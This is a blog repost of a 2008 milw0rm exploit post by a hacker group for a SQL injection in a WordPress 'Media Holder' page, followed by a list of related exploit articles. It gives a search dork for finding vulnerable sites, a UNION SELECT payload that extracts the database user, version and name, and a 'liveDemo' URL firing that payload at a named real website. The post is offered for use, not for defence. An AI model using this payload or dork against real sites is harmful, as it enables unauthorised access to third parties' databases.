Chinadu's Blog

-------------------------------------------------------------------
WordPress Media Holder (id) Sql injetion vulnerability!
-------------------------------------------------------------------
-------------------------------------------------------------------
Author: boom3rang
Greetz: H!tM@N - KHG - chs - redc00de!
Site : www.khg-crew.ws - [Kosova Hackers Group!]
-------------------------------------------------------------------

-------------------------------------------------------------------
Dork: mediaHolder.php?id
-------------------------------------------------------------------
Exp: http://localHost/mediaHolder.php?id=[exploit]
-------------------------------------------------------------------
exploit: -9999/**/UNION/**/SELECT/**/concat(User(),char(58),Version()),2,3,4,5,6,Database()--
-------------------------------------------------------------------
liveDemo:
http://www.dhadm.com/mediaHolder.php?id=-9999/**/UNION/**/SELECT/**/concat(User(),char(58),Version()),2,3,4,5,6,Database()--
-------------------------------------------------------------------

-------------------------------------------------------------------
Proud 2 be Albanian
Proud 2 be Muslim
United States of Albania
-------------------------------------------------------------------

# milw0rm.com [2008-10-26]

相关文章

• 2008年10月30日 -- Wordpress Plugin e-Commerce <= 3.4 Arbitrary File Upload Exploit
• 2011年10月7日 -- WordPress 3.2 关闭文章自动保存
• 2011年05月16日 -- kernel-2.6.18-164 Local 2010 Exploit Root Private Cant See Images
• 2011年05月6日 -- WordPress Arbitrary File Upload Vulnerability
• 2010年12月16日 -- Exploits Linux Kernel <= 2.6.37 local privilege escalation
• 2010年08月26日 -- PuTTY 0.60 DLL Hijacking Exploit (winmm.dll)
• 2010年05月8日 -- PhpCms 2008 Sp3 Blind SQL Injection Exploit(2)
• 2010年05月8日 -- PhpCms 2008 Sp3 Blind SQL Injection Exploit(1)
• 2010年04月15日 -- Remote Exploit Against the Aircrack-NG Tools svn r1675
• 2010年01月7日 -- discuz!7.1、7.2远程代码执行漏洞exploit